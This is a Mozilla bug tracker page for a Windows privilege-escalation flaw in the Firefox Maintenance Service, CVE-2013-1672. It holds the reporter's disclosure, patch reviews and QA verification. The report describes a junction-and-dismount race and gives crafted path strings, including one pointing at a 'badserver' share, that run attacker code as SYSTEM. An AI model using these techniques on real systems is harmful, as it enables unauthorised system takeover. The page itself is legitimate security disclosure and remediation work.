Last Comment Bug 850492 - (CVE-2013-1672) Arbitrary code execution by Maintenance Service with junctions
(CVE-2013-1672)
: Arbitrary code execution by Maintenance Service with junctions
Status: VERIFIED FIXED
[adv-main21+][adv-esr1706+]
: sec-high
Product: Toolkit
Classification: Components
Component: Application Update (show other bugs)
: 19 Branch
: x86_64 Windows 7
: -- normal (vote)
: mozilla23
Assigned To: Brian R. Bondy [:bbondy]
:
Mentors:
Depends on: 857397 867062
Blocks: CVE-2013-1700
  Show dependency treegraph
 
Reported: 2013-03-12 16:54 PDT by Seb Patane
Modified: 2014-07-24 16:08 PDT (History)
10 users (show)
abillings: sec‑bounty+
See Also:
Crash Signature:
(edit)
QA Whiteboard:
Iteration: ---
Points: ---
Has Regression Range: ---
Has STR: ---
+
verified
+
verified
+
verified
21+
verified
unaffected
unaffected


Attachments
Proof-of-concept source + binaries (10.54 KB, application/java-archive)
2013-03-12 16:54 PDT, Seb Patane
no flags Details
Re-uploaded PoC (10.58 KB, application/octet-stream)
2013-03-22 02:48 PDT, Seb Patane
no flags Details
Proof-of-concept source (9.78 KB, text/plain)
2013-03-22 02:59 PDT, Seb Patane
no flags Details
Patch v1. (3.91 KB, patch)
2013-04-01 10:47 PDT, Brian R. Bondy [:bbondy]
no flags Details | Diff | Review
Patch v2. (7.25 KB, text/plain)
2013-04-01 16:14 PDT, Brian R. Bondy [:bbondy]
no flags Details
Patch v3. (8.04 KB, patch)
2013-04-01 18:04 PDT, Brian R. Bondy [:bbondy]
robert.strong.bugs: review+
Details | Diff | Review
Patch v4. (8.21 KB, patch)
2013-04-02 13:32 PDT, Brian R. Bondy [:bbondy]
netzen: review+
bajaj.bhavana: approval‑mozilla‑aurora+
bajaj.bhavana: approval‑mozilla‑beta+
bajaj.bhavana: approval‑mozilla‑esr17+
abillings: sec‑approval+
Details | Diff | Review

Description Seb Patane 2013-03-12 16:54:35 PDT
Created attachment 724211 [details]
Proof-of-concept source + binaries

I was having a bit of a poke around the Mozilla Maintenance Service and believe I've come across a vulnerability that lets unprivileged users execute arbitrary code as the SYSTEM user.

The crux of the problem is that updatehelper.cpp:IsLocalFile() doesn't take into account the existence of junctions (which standard users can create). We can fool the Maintenance Service into thinking the updater.exe is on a local drive, by creating a junction, eg. c:\thumbdrive to a removable drive d:. PathStripToRootW returns c: so the process continues.

This leads to a race condition since we can dismount the drive after the updater.exe has been validated (workmonitor.cpp:403). This kills the write-lock the Maintenance Service has on the updater.exe. Between the validation and when the process is run (workmonitor.cpp:182) we can replace the lockless file with our malicious payload which the Maintenance Service then happily executes as the SYSTEM user.

I've attached a proof-of-concept to this bug. It executes reliably for me on Windows 7 x64, FF 19.0.2. I believe Vista and XP would be vulnerable as well, but haven't confirmed.

To run the proof-of-concept, you will need to have the binaries run_exploit.exe and payload.exe in "C:\exploit", Firefox installed to "C:\Program Files (x86)\Mozilla Firefox", and a removable drive mounted.

run_exploit.exe takes one mandatory parameter - the drive letter of your removable drive (eg. c:\exploit\run_exploit.exe d:). It will create updater.exe and updater.ini on the removable drive, and a c:\thumbdrive junction.

payload.exe can be replaced with your payload of choice. This one just executes system("whoami > /foo.txt"); to verify the process has SYSTEM credentials. It will create foo.txt in the root drive.

Source code for both are contained in the attached zip file.

If you need any more info please let me know.

Seb
Comment 1 Seb Patane 2013-03-13 00:39:21 PDT
Wasn't sure if I was meant to assign the security level, but I would have thought the similarity to bug 748764 would have indicated this should be sec-critical
Comment 2 Al Billings [:abillings] 2013-03-13 11:30:24 PDT
No, you're not meant to assign the security level. We'll see if it is rated sec-critical after a developer examines it.
Comment 3 Seb Patane 2013-03-14 00:04:15 PDT
Thanks for clarifying.

I have found a second, loosely related, vulnerability which also allows for code execution, but removes the physical need to have a removable device present.

Both PathStripToRootW and GetDriveTypeW used in updatehelper.cpp:IsLocalFile seem to have a few little quirks. This means if you pass in a path that looks like this:

\\.\c:/\../d:/updater.exe

IsLocalFile will return the Drive Type for c:/ but later on CreateProcessW will execute d:/updater.exe.

This can also be used to access remote shares:

\\.\c:/\..\UNC\badserver\share\updater.exe

Will connect to badserver to run the updater.exe, which may be built to return files have been locked when they actually haven't, etc.
Comment 4 Daniel Veditz [:dveditz] 2013-03-14 18:01:06 PDT
(In reply to Seb Patane from comment #1)
> Wasn't sure if I was meant to assign the security level, but I would have
> thought the similarity to bug 748764 would have indicated this should be
> sec-critical

It looks like that one was set to that level when filed and not re-evaluated, generally not our procedure. Since it's not a remote attack I probably would have called that one sec-high as well. Not that there's a lot of difference between the two in practice ("it's bad, patch!").
Comment 5 Brian R. Bondy [:bbondy] 2013-03-18 16:07:02 PDT
I'll be working on it soon, was there a specific question in the meantime for the needinfo request? Or just a general please work on this soon? :)
Comment 6 Daniel Veditz [:dveditz] 2013-03-19 02:49:33 PDT
Was hoping to get you to confirm this bug and the currently assigned security severity rating.
Comment 7 Brian R. Bondy [:bbondy] 2013-03-20 19:18:45 PDT
Hi Seb, 

I tried to download the zip but it says the file is corrupted.  Could you re-attach?

Have you ever successfully exploited this? It seems really hard to disconnect the drive at just the right time and then replace the updater.exe file.  If you have, how many attempts did it take you to do?
Comment 8 Brian R. Bondy [:bbondy] 2013-03-20 19:20:33 PDT
I'm also not fully confident that the lock will be broken when the drive is disconnected, I think it is maybe held by code running on the OS and not data stored on the drive.
Comment 9 Seb Patane 2013-03-22 02:48:58 PDT
Created attachment 728120 [details]
Re-uploaded PoC
Comment 10 Seb Patane 2013-03-22 02:58:32 PDT
Hi Brian,

I tried downloading it and it seemed fine? It was zipped with 7-zip on Windows and seems to extract alright for me using both 7-zip and Explorer. Have re-attached and will also upload the source code separately.

I've successfully exploited this on two of my local machines as limited users. You don't need to physically disconnect the drive - a standard user can send FSCTL_DISMOUNT_VOLUME to removable drives. The drives will remount automatically on next access and as long as you can keep the updater service at bay, you can swap the updater.exe easily enough. The PoC reruns at 5ms increments until it gets it right (there seems to be a ~150ms window on my hardware).

In the case you're spoofing a smb share as mentioned in comment #3, you don't have to disconnect anything at all, but I have no PoC for that.
Comment 11 Seb Patane 2013-03-22 02:59:08 PDT
Created attachment 728122 [details]
Proof-of-concept source
Comment 12 Brian R. Bondy [:bbondy] 2013-03-22 12:45:58 PDT
The re-uploaded PoC works and I can extract it now thanks!
Comment 13 Brian R. Bondy [:bbondy] 2013-04-01 10:47:56 PDT
Created attachment 731940 [details] [diff] [review]
Patch v1.

Basically everything works how it used to work except we first try to copy the updater.exe to a high elevation location before doing any checks at all on it.  This will also reduce 

If someone makes the maintenanceservice directory writable they have no extra security but this would be completely rare.
Comment 14 Brian R. Bondy [:bbondy] 2013-04-01 10:51:18 PDT
Comment on attachment 731940 [details] [diff] [review]
Patch v1.

This request is for pushing to try, pushing to nightly builds on oak, and for pushing to mozilla-central after it is r+ed.

[Security approval request comment]
How easily could an exploit be constructed based on the patch?

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?.
Somewhat, yes.

Which older supported branches are affected by this flaw?
All since the maintenance service was first released. (I think v12?)

If not all supported branches, which bug introduced the flaw?
See above.

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?
No backports should be needed, the same patch should apply everywhere.

How likely is this patch to cause regressions; how much testing does it need?
Not very likely to cause regressions, but it should sit on mozilla-central for a while.
Comment 15 Al Billings [:abillings] 2013-04-01 11:39:47 PDT
sec-approval+ after we branch (today? tomorrow?).

I do find it amusing that this bug is still "unconfirmed." :-)
Comment 16 Robert Strong [:rstrong] (use needinfo to contact me) 2013-04-01 12:28:08 PDT
Comment on attachment 731940 [details] [diff] [review]
Patch v1.

># HG changeset patch
># Parent 1aff0d5f607d8a4436f5f55d54a68998b83aae84
># User Brian R. Bondy <netzen@gmail.com>
>Bug 850492. r=rstrong.
>
>diff --git a/toolkit/components/maintenanceservice/workmonitor.cpp b/toolkit/components/maintenanceservice/workmonitor.cpp
>--- a/toolkit/components/maintenanceservice/workmonitor.cpp
>+++ b/toolkit/components/maintenanceservice/workmonitor.cpp
>@@ -464,16 +464,68 @@ ProcessSoftwareUpdateCommand(DWORD argc,
>                 GetLastError()));
>     }
>   }
> 
>   return result;
> }
> 
> /**
>+ * Obtains the updater path alongside the maintenanceservice binary.
>+ * The purpose of this function is to return a path that is likely high
>+ * integrity and therefore more safe to execute code from.
>+ *
>+ * @param serviceUpdaterPath The path where the updater should be placed at
>+ * @return TRUE if a file path was obtained
>+ */
>+BOOL
>+GetNewUpdaterPath(WCHAR serviceUpdaterPath[MAX_PATH + 1])
>+{
>+  if (!GetModuleFileNameW(NULL, serviceUpdaterPath, MAX_PATH)) {
>+    LOG_WARN(("Could not obtain module filename when attempting to "
>+              "fix updater path.  (%d)", GetLastError()));
>+    return FALSE;
>+  }
I think this is clearer.
s/fix/use a secure/

>+
>+  if (!PathRemoveFileSpecW(serviceUpdaterPath)) {
>+    LOG_WARN(("Couldn't remove file spec when attempting to fix updater"
>+              "path.  (%d)", GetLastError()));
s/fix/use a secure/

>+    return FALSE;
>+  }
>+
>+  if (!PathAppendSafe(serviceUpdaterPath, L"upadter.exe")) {
updater.exe

>+    LOG_WARN(("Couldn't append file spec.  (%d)", GetLastError()));
Couldn't append file spec when attempting to fix updater path.

>+    return FALSE;
>+  }
>+
>+  return TRUE;
>+}
>+
>+/**
>+ * Deletes the passed in path if it is valid
>+ *
>+ * @param serviceUpdaterPath The path to delete
>+ * @return TRUE if a file was deleted
>+ */
>+BOOL
>+DeleteNewUpdater(WCHAR serviceUpdaterPath[MAX_PATH + 1])
>+{
>+  BOOL result = FALSE;
>+  if (serviceUpdaterPath[0]) {
>+    result = DeleteFileW(serviceUpdaterPath);
>+    if (!result) {
>+      LOG_WARN(("Could not delete service updater path: '%ls'.",
>+                serviceUpdaterPath));
>+    }
>+  }
>+
>+  return result;
>+}
>+
>+/**
>  * Executes a service command.
>  *
>  * @param argc The number of arguments in argv
>  * @param argv The service command line arguments, argv[0] and argv[1]
>  *             and automatically included by Windows.  argv[2] is the
>  *             service command.
>  *             
>  * @return FALSE if there was an error executing the service command.
>@@ -495,17 +547,38 @@ ExecuteServiceCommand(int argc, LPWSTR *
>     UuidToString(&guid, &guidString);
>   }
>   LOG(("Executing service command %ls, ID: %ls",
>        argv[2], reinterpret_cast<LPCWSTR>(guidString)));
>   RpcStringFree(&guidString);
> 
>   BOOL result = FALSE;
>   if (!lstrcmpi(argv[2], L"software-update")) {
>+
>+    // Use the passed in command line arguments other than the path to the
>+    // updater.exe.  We copy updater.exe to a subdirectory of the
>+    // MozillaMaintenance service's install directory so that a low integrity
>+    // process cannot replace the updater.exe at any point.
>+    LPWSTR oldUpdaterPath = argv[3];
>+    WCHAR newUpdaterPath[MAX_PATH + 1] = { L'\0' };
>+    result = GetNewUpdaterPath(newUpdaterPath);
>+    LOG(("Passed in path: '%ls'; Using this path for updating: '%ls'.",
>+         oldUpdaterPath, newUpdaterPath));
>+    result = result && CopyFile(oldUpdaterPath, newUpdaterPath, FALSE);
The updater.ini also needs to be alongside the updater.exe in case UI needs to be displayed.

I think it might be a good thing to check if the file already exists and explicitly remove it before trying the copy so errors are easy to spot in the log.

>+
>+    // If we obtained the path and copied it successfully update the path to
>+    // use for the service update.  If there was a problem use the original
>+    // path so things work like it used to.
>+    if (result) {
>+      argv[3] = newUpdaterPath;
>+    }
>+
>     result = ProcessSoftwareUpdateCommand(argc - 3, argv + 3);
>+    DeleteNewUpdater(newUpdaterPath);
>+
>     // We might not reach here if the service install succeeded
>     // because the service self updates itself and the service
>     // installer will stop the service.
>     LOG(("Service command %ls complete.", argv[2]));
>   } else {
>     LOG_WARN(("Service command not recognized: %ls.", argv[2]));
>     // result is already set to FALSE
>   }
Comment 17 Brian R. Bondy [:bbondy] 2013-04-01 12:40:42 PDT
>+  if (!PathAppendSafe(serviceUpdaterPath, L"upadter.exe")) {
updater.exe

heh, still works by the way because it doesn't matter what the path is but yup I'll fix this :D

Good catch on updater.ini, I *think* it works too already because of trickery we do with updater.ini in the service but I'll copy that too.

Thanks for the review I'll fixup and re-submit.
Comment 18 Robert Strong [:rstrong] (use needinfo to contact me) 2013-04-01 12:42:17 PDT
BTW: the updater.ini for the service could be for a different locale than the Firefox install being updated and the strings can change as well.
Comment 19 Robert Strong [:rstrong] (use needinfo to contact me) 2013-04-01 12:43:34 PDT
Forgot to mention that the post update helper can change. Please make sure that is still launched.
Comment 20 Brian R. Bondy [:bbondy] 2013-04-01 13:45:39 PDT
Good idea to look out for, but after looking into it I think that there is no concern here because the path where updater.exe used to live does not have helper.exe there.  I.e. it gets executed from the installdir and not the location of updater.exe that we run.
Comment 21 Robert Strong [:rstrong] (use needinfo to contact me) 2013-04-01 13:47:32 PDT
I *think* so as well... just want to make sure that it is.
Comment 23 Al Billings [:abillings] 2013-04-01 15:26:14 PDT
Comment on attachment 731940 [details] [diff] [review]
Patch v1.

Clearing sec-approval flag since this isn't the final patch and ready to submit (per discussion with DVeditz).
Comment 24 Brian R. Bondy [:bbondy] 2013-04-01 16:14:37 PDT
Created attachment 732116 [details]
Patch v2.
Comment 25 Brian R. Bondy [:bbondy] 2013-04-01 18:04:29 PDT
Created attachment 732145 [details] [diff] [review]
Patch v3.

Use a subdirectory of maintenanceservice instead now.
Comment 26 Robert Strong [:rstrong] (use needinfo to contact me) 2013-04-02 12:12:06 PDT
Comment on attachment 732145 [details] [diff] [review]
Patch v3.

># HG changeset patch
># Parent 1aff0d5f607d8a4436f5f55d54a68998b83aae84
># User Brian R. Bondy <netzen@gmail.com>
>Bug 850492. r=rstrong.
>
>diff --git a/browser/installer/windows/nsis/maintenanceservice_installer.nsi b/browser/installer/windows/nsis/maintenanceservice_installer.nsi
>--- a/browser/installer/windows/nsis/maintenanceservice_installer.nsi
>+++ b/browser/installer/windows/nsis/maintenanceservice_installer.nsi
>@@ -245,16 +245,17 @@ Section "Uninstall"
>   Push "$INSTDIR\maintenanceservice.exe"
>   Call un.RenameDelete
>   Push "$INSTDIR\maintenanceservice_tmp.exe"
>   Call un.RenameDelete
>   Push "$INSTDIR\maintenanceservice.old"
>   Call un.RenameDelete
>   Push "$INSTDIR\Uninstall.exe"
>   Call un.RenameDelete
Please add just in case the updater.exe and / or updater.ini are still present

Push "$INSTDIR\update\updater.exe"
Call un.RenameDelete
Push "$INSTDIR\updater.ini"
Call un.RenameDelete

>+  RMDir /REBOOTOK "$INSTDIR\update"
>   RMDir /REBOOTOK "$INSTDIR"
> 
>   DeleteRegKey HKLM "${MaintUninstallKey}"
> 
>   ${If} ${RunningX64}
>     SetRegView 64
>   ${EndIf}
>   DeleteRegValue HKLM "Software\Mozilla\MaintenanceService" "Installed"
>diff --git a/toolkit/components/maintenanceservice/workmonitor.cpp b/toolkit/components/maintenanceservice/workmonitor.cpp
>--- a/toolkit/components/maintenanceservice/workmonitor.cpp
>+++ b/toolkit/components/maintenanceservice/workmonitor.cpp
>@@ -464,16 +464,89 @@ ProcessSoftwareUpdateCommand(DWORD argc,
>                 GetLastError()));
>     }
>   }
> 
>   return result;
> }
> 
> /**
>+ * Obtains the updater path alongside a subdir of the servie binary.
s/servie/service/

>+ * The purpose of this function is to return a path that is likely high
>+ * integrity and therefore more safe to execute code from.
>+ *
>+ * @param serviceUpdaterPath Out parameter for the path where the updater
>+ *                           should be placed at.
s/placed at/copied to/

>+ * @return TRUE if a file path was obtained.
>+ */
>+BOOL
>+GetSecureUpdaterPath(WCHAR serviceUpdaterPath[MAX_PATH + 1])
>+{
>+  if (!GetModuleFileNameW(NULL, serviceUpdaterPath, MAX_PATH)) {
>+    LOG_WARN(("Could not obtain module filename when attempting to "
>+              "use a secure updater path.  (%d)", GetLastError()));
>+    return FALSE;
>+  }
>+
>+  if (!PathRemoveFileSpecW(serviceUpdaterPath)) {
>+    LOG_WARN(("Couldn't remove file spec when attempting to use a secure"
>+              "updater path.  (%d)", GetLastError()));
Add a space after secure

>+    return FALSE;
>+  }
>+
>+  if (!PathAppendSafe(serviceUpdaterPath, L"update")) {
>+    LOG_WARN(("Couldn't append file spec when attempting to use a secure"
>+              "updater path.  (%d)", GetLastError()));
Add a space after secure

>+    return FALSE;
>+  }
>+
>+  CreateDirectoryW(serviceUpdaterPath, NULL);
>+
>+  if (!PathAppendSafe(serviceUpdaterPath, L"updater.exe")) {
>+    LOG_WARN(("Couldn't append file spec when attempting to use a secure"
>+              "updater path.  (%d)", GetLastError()));
Add a space after secure

>+    return FALSE;
>+  }
>+
>+  return TRUE;
>+}
>+
>@@ -495,17 +568,58 @@ ExecuteServiceCommand(int argc, LPWSTR *
>     UuidToString(&guid, &guidString);
>   }
>   LOG(("Executing service command %ls, ID: %ls",
>        argv[2], reinterpret_cast<LPCWSTR>(guidString)));
>   RpcStringFree(&guidString);
> 
>   BOOL result = FALSE;
>   if (!lstrcmpi(argv[2], L"software-update")) {
>+
>+    // Use the passed in command line arguments for the update, except for the
>+    // path to updater.exe.  We copy updater.exe to a the directory of the
>+    // MozillaMaintenance service so that a low integrity process cannot
>+    // replace the updater.exe at any point and use that for the update.
>+    // It also makes DLL injection attacks harder.
>+    LPWSTR oldUpdaterPath = argv[3];
>+    WCHAR secureUpdaterPath[MAX_PATH + 1] = { L'\0' };
>+    result = GetSecureUpdaterPath(secureUpdaterPath); // Does its own logging
>+    if (result) {
>+      LOG(("Passed in path: '%ls'; Using this path for updating: '%ls'.",
>+           oldUpdaterPath, secureUpdaterPath));
>+      DeleteSecureUpdater(secureUpdaterPath);
>+      result = CopyFile(oldUpdaterPath, secureUpdaterPath, FALSE);
nit: CopyFileW since W versions are used everywhere else

>+      if (!result) {
>+        LOG_WARN(("Could not copy path to secure location."));
Please also log the last error.

>+      }
>+    }
>+
>+    // If we obtained the path and copied it successfully update the path to
>+    // use for the service update.  If there was a problem use the original
>+    // path so things work like it used to.
>+    if (result) {
>+      argv[3] = secureUpdaterPath;
>+
>+      WCHAR oldUpdaterINIPath[MAX_PATH + 1] = { L'\0' };
>+      WCHAR secureUpdaterINIPath[MAX_PATH + 1] = { L'\0' };
>+      if (PathGetSiblingFilePath(secureUpdaterINIPath, secureUpdaterPath,
>+                                 L"updater.ini") &&
>+          PathGetSiblingFilePath(oldUpdaterINIPath, oldUpdaterPath,
>+                                 L"updater.ini")) {
>+        // This is non fatal if it fails there is no real harm
>+        if (!CopyFile(oldUpdaterINIPath, secureUpdaterINIPath, FALSE)) {
nit: CopyFileW

>+          LOG_WARN(("could not copy updater.ini from: '%ls' to '%ls'.  (%d)",
>+                    oldUpdaterINIPath, secureUpdaterINIPath, GetLastError()));
s/could/Could/

>+        }
>+      }
>+    }
>+
>     result = ProcessSoftwareUpdateCommand(argc - 3, argv + 3);
>+    DeleteSecureUpdater(secureUpdaterPath);
>+
>     // We might not reach here if the service install succeeded
>     // because the service self updates itself and the service
>     // installer will stop the service.
>     LOG(("Service command %ls complete.", argv[2]));
>   } else {
>     LOG_WARN(("Service command not recognized: %ls.", argv[2]));
>     // result is already set to FALSE
>   }
Comment 27 Robert Strong [:rstrong] (use needinfo to contact me) 2013-04-02 12:21:48 PDT
(In reply to Robert Strong [:rstrong] (do not email) from comment #26)
> Comment on attachment 732145 [details] [diff] [review]
> Patch v3.
> 
> ># HG changeset patch
> ># Parent 1aff0d5f607d8a4436f5f55d54a68998b83aae84
> ># User Brian R. Bondy <netzen@gmail.com>
> >Bug 850492. r=rstrong.
> >
> >diff --git a/browser/installer/windows/nsis/maintenanceservice_installer.nsi b/browser/installer/windows/nsis/maintenanceservice_installer.nsi
> >--- a/browser/installer/windows/nsis/maintenanceservice_installer.nsi
> >+++ b/browser/installer/windows/nsis/maintenanceservice_installer.nsi
> >@@ -245,16 +245,17 @@ Section "Uninstall"
> >   Push "$INSTDIR\maintenanceservice.exe"
> >   Call un.RenameDelete
> >   Push "$INSTDIR\maintenanceservice_tmp.exe"
> >   Call un.RenameDelete
> >   Push "$INSTDIR\maintenanceservice.old"
> >   Call un.RenameDelete
> >   Push "$INSTDIR\Uninstall.exe"
> >   Call un.RenameDelete
> Please add just in case the updater.exe and / or updater.ini are still
> present
> 
> Push "$INSTDIR\update\updater.exe"
> Call un.RenameDelete
> Push "$INSTDIR\updater.ini"
I meant
Push "$INSTDIR\update\updater.ini"
Comment 28 Brian R. Bondy [:bbondy] 2013-04-02 13:32:53 PDT
Created attachment 732499 [details] [diff] [review]
Patch v4.

[Security approval request comment]
How easily could an exploit be constructed based on the patch?

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?

Which older supported branches are affected by this flaw?

If not all supported branches, which bug introduced the flaw?

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?

How likely is this patch to cause regressions; how much testing does it need?

Implemented review comments. Carried forward r+.
Requesting sec approval for landing on oak for testing, try and m-i / m-c landing.
Comment 29 Brian R. Bondy [:bbondy] 2013-04-02 13:33:36 PDT
Please see Comment 14 for the sec approval fields filled out.
Comment 31 Phil Ringnalda (:philor) 2013-04-06 18:00:27 PDT
https://hg.mozilla.org/mozilla-central/rev/3fd2c9248357
Comment 32 Brian R. Bondy [:bbondy] 2013-04-08 07:26:23 PDT
Comment on attachment 732499 [details] [diff] [review]
Patch v4.

[Approval Request Comment]
If this is not a sec:{high,crit} bug, please state case for ESR consideration:
sec-high

User impact if declined: 
low integrity process can become high integrity process via disconnecting network share or usb.

Fix Landed on Version:
v23.

Risk to taking this patch (and alternatives if risky): 
Low if we let it sit on m-c for a couple days.

String or UUID changes made by this patch: 
None.

See https://wiki.mozilla.org/Release_Management/ESR_Landing_Process for more info.
Comment 33 bhavana bajaj [:bajaj] 2013-04-10 10:54:25 PDT
Approving it on all the branches given we have had a few days of testing on m-c and will get more testing on aurora which will aid getting this ready in time for our next beta going to build on Tuesday.
Comment 34 Ryan VanderMeulen [:RyanVM] 2013-04-11 06:11:53 PDT
https://hg.mozilla.org/releases/mozilla-aurora/rev/94da61a5fbf7
https://hg.mozilla.org/releases/mozilla-beta/rev/e9116e0abdd6

This doesn't apply cleanly enough to esr17 for me to handle.
Comment 35 Brian R. Bondy [:bbondy] 2013-04-11 12:35:26 PDT
https://hg.mozilla.org/releases/mozilla-esr17/rev/0a39ce79d584
Comment 36 Kamil Jozwiak [:kjozwiak] 2013-05-12 03:41:00 PDT
Followed the steps in Comment 0 and went through the following on the OS's listed below:
- Downloaded the the PoC and extracted the "exploit" folder into C:\
- Installed Firefox 19.0.2 into the default location
- Plugged in a USB drive that was mounted
- In the command line, ran "C:\exploit\run_exploit.exe <drive location>:"
- Checked the USB and ensured that "updater.exe" and "updater.ini" where created
- Checked C:\ and ensured that "C:\thumbdrive" was created
- Checked C:\ and ensured that "foo.txt" was created

Windows 7 Home Premium SP1 x64:
- Reproduced original issue three different times using Firefox 19.0.2 using the steps listed above and Comment 0

ESR17 - PASSED (ran "run_exploit.exe" for 750ms three different times without issues)
Used Build: http://ftp.mozilla.org/pub/mozilla.org/firefox/candidates/17.0.6esr-candidates/build1/

21 - PASSED (ran "run_exploit.exe" for 750ms three different times without issues)
Used Build: http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/2013/05/2013-05-09-mozilla-beta-debug/

22 - PASSED (ran "run_exploit.exe" for 750ms three different times without issues)
http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/2013/05/2013-05-09-mozilla-aurora-debug/

23 - PASSED (ran "run_exploit.exe" for 750ms three different times without issues)
http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/2013/05/2013-05-09-mozilla-central-debug/

Windows Vista Ultimate SP2 x64:
- Reproduced original issue three different using Firefox 19.0.2 using the steps listed above and Comment 0

ESR17 - PASSED (ran "run_exploit.exe" for 750ms three different times without issues)
Used Build: http://ftp.mozilla.org/pub/mozilla.org/firefox/candidates/17.0.6esr-candidates/build1/

21 - PASSED (ran "run_exploit.exe" for 750ms three different times without issues)
Used Build: http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/2013/05/2013-05-09-mozilla-beta-debug/

22 - PASSED (ran "run_exploit.exe" for 750ms three different times without issues)
http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/2013/05/2013-05-09-mozilla-aurora-debug/

23 - PASSED (ran "run_exploit.exe" for 750ms three different times without issues)
http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/2013/05/2013-05-09-mozilla-central-debug/

*Note:*

Attempted to reproduce and test on a Windows XP Pro x64 machine but received the following error message every single time I attempted to execute C:\run_exploit.exe:
- "C:\run_exploit.exe is not a valid Win32 application"

Please let me know if there's anything else that needs to be tested or if something was missed!

Note You need to log in before you can comment on or make changes to this bug.